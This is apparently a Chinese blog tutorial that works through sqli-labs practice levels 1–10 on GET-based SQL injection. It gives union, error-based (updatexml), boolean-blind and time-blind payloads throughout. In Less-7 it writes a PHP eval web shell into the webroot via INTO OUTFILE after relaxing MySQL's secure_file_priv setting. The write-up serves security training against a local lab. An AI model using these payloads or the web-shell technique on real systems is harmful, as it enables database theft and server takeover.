sqli-labs保姆级详解(GET的从一到十)
2021/8/7 2:06:25
本文主要是介绍sqli-labs保姆级详解(GET的从一到十),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录
【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入
【Less-2】GET-Error based -intiger based/错误的GET数值型注入
【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入
【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入
【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入
【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入
【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入
【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注
【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注
【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注
一、SQL注入的前提:
- 判断是否有注入
- 可控参数如id=1,能否影响页面的显示结果
- 输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
- 尝试输入的语句能否不报错,使得成功闭合语句
- 判断是什么类型的注入
- 语句能否被修改
- 是否能够成功执行
- 获取我们想要的数据
基本知识:
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
判断有多少列 order by x 占位查看回显位置 select 1,2,3 查看数据库名 union select 1,2,database() 查看数据库的表(group_concat和limit) 【group_concat】 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' 【limit】 union select 1,2,table_name from information_schema.tables where table_schema ='security' limit 0,1 查看表的字段内容 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’
【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入
当输入条件?id=1 and1=2为假的时候,未报错,单引号将输入的内容进行了闭合
输入1’将其闭合的时候发现报了一些信息,蓝色划出来的既输入的内容
利用这个漏洞查询,万能order by查字段
有3字段,查询回显位置
第2,3两字段能回显
查询数据库和字段内容
?id=1' and 0 union select 1,user(),database() %23
?id=1' and 0 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security' %23
【Less-2】GET-Error based -intiger based/错误的GET数值型注入
输入?id=1 and 1=1,语句执行正常,与原始页面如任何差异
输入?id=1 and 1=2,语句可以正常执行,但是无法查询出结果,返回数据与原始网页存在差异
判断为数值型漏洞,进行万能order by排序
查询回显的位置
【这里要讲一下为什么需要输入select 1,2,3。其实这里的1,2,3只是起了占位的作用,可以用任何数替代,目的是为了确定上一步order by 有3个字段成功后,将1,2,3代入这3字段,查看这3个字段有哪些字段回显】
查询数据库security的表
?id=1 and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security'
【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入
输入?id=1 and 1=2,没有报错,排除数值型
在id=1后面加引号,报错了,而且发现和第一题一样,只不过这里用括号将输入的内容进行闭合
在id=1’后加括号,闭合我们的语句,再用--+注释掉后面的括号【%23也行】
order by查询到共有3个字段
查询数据库和表内容
?id=1') and 1=2 union select 1,user(),database()%23
?id=1') and 1=2 union select 1,user(),table_name from information_schema.tables where table_schema='security' limit 0,1 %23
【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入
输入?id=1 and 1=2没有报错,可能是单引号将输入的内容过滤,判断为字符型
输入?id=1’ and 1=2依旧不行
查看一下源码【在PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-4目录下】
这里用双引号?id=1”) --+将输入语句闭合
用order by进行查询字段,这里4报错,字段数为3
查询数据库和表
?id=1") and 1=2 union select 1,user(),database() --+
?id=1") and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
【database()=security】
【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入
不管输入什么,都只会显示you are in
尝试在id=1后面加引号,发现报错
用order by查字段【记得将’注释】,当查询到4的时候报错,说明只有3字段
这里不能查看回显位置了,依靠updatexml报错来获取信息
?id=1' and 1=2 union select updatexml(1,concat(0x7e,database(),0x7e),1)%23
根据updatexml的报错注入来获取信息
updatexml (string, xpath_string, string)
第一个参数string:可以输入1,为XML文档对象的名称
第二个参数xpath_string :提取多个子节点的文本
第三个参数string:可以输入1,替换查找的符合条件的参数
0x7e是一个代表~的十六进制,可以用’%’,或者’~’来代替
然后查询表
?id=1' and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入
和第五题一模一样,只不过第五题是单引号,这里是双引号,不多做演示了
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入
这一题,属实整理的不容易,看了很多的攻略,有的要么跳步骤,要么没说清楚,跟着走了不少弯路,这里会进行一个保姆级的步骤
首先,输入?id=1,题目会给我们一个提示use outfile,关于outfile后面再讲,先讲一下如何解出来的
输入为假的条件?id=1 and 1=2,并没有报错,可能是字符串型,将输入的内容闭合了
闭合我们输入的条件
发现报错,尝试万能order by
报错了,居然不行,查看一下源码
进入phpstudy,在phptutorial文件下的www
www下的sqli-labs-master
在里面找到less-7,打开index.php就可以查看源码了
可以看到,将输入的内容用))闭合,这就好办了
查出来是3字段,如果现在要在里面写入一句话的话,是一定会失败的,MySQL对于outfile初始是off,所有我们需要在my.ini内,写入一个on的权限
首先,进入自己的MySQL的文件夹
【如果是你不知道你的MySQL在哪,就打开第一题输入,如果知道具体位置,那输不输无所谓
?id=1' and 1=2 union select 1,@@datadir,@@basedir %23】
进入my.ini,加入一句话,如下
这句:secure_file_priv=
secure_file_priv=
加入完成之后,将我们的my.ini关闭,然后重启mysql!!!
以管理员身份运行
先打开,再关闭
再打开
当然,也可以直接重启MySQL也行,这里重启完成之后,我们就可以成功写入一句话了
?id=1')) union select 1,2,"<?php eval($_POST[ganyu]);?>" into outfile "E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php" %23
<?php eval($_POST[ganyu]);?>#一句话木马
关于【E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php】这个路径,其实就是上面你查看源码的那个路径,写进去就行啦!
然后我们用蚁剑连接,这里我的一句话密码是ganyu,连接的时候如果不是一样的一句话的话,可别跟着写了
后面的内容无非就是连接上了之后,查案数据库内容,这里就麻烦自己去探索了,做完这题之后,一定要记得将my.ini内加的那句话删除
原理:into outfile 语句会把表数据导出到一个文本文件中,如果在文件内写入一句话,即可用蚁剑一键连接。
【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注
输入?id=1 and 1=2,没报错
尝试加入单引号或双引号,也没有报错
尝试将后面的内容用%23或--+注释
成功,布尔类型盲注,判断数据库长度
?id=1' and length(database())>5 %23
最后得知长度为8
最后得知数据库为:security查询表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <127 %23
【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注
输入一个为真的条件,并没有sleep基于线程(x)的时间
可能是’将输入的内容闭合
?id=1' and if(1=1,sleep(2),0) --+
查询一下数据库的长度
?id=1' and if(length(database())=8,sleep(2),0) --+
经过测试,长度为8,查表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<127,sleep(2),0) --+
【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注
基本步骤和第九题的一样,单引号闭合改成双引号闭合
?id=1" and if(1=1,sleep(2),0) %23
查询数据库长度
?id=1" and if(length(database())=8,sleep(2),0) %23
数据库长度为8,查询表名
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<127,sleep(2),0) %23
期待大佬指点
这篇关于sqli-labs保姆级详解(GET的从一到十)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-28知识管理革命:文档软件的新玩法了解一下!
- 2024-11-28低代码应用课程:新手入门全攻略
- 2024-11-28哪些办公软件适合团队协作,且能够清晰记录每个阶段的工作进展?
- 2024-11-28全栈低代码开发课程:零基础入门到初级实战
- 2024-11-28拖动排序课程:轻松掌握课程拖动排序功能
- 2024-11-28如何高效管理数字化转型项目
- 2024-11-28SMART法则好用吗?有哪些项目管理工具辅助实现?
- 2024-11-28深度剖析:6 款办公软件如何构建设计团队项目可视化管理新生态?
- 2024-11-28HTTP缓存课程:新手入门指南
- 2024-11-28实战丨证券 HTAP 混合业务场景的难点问题应对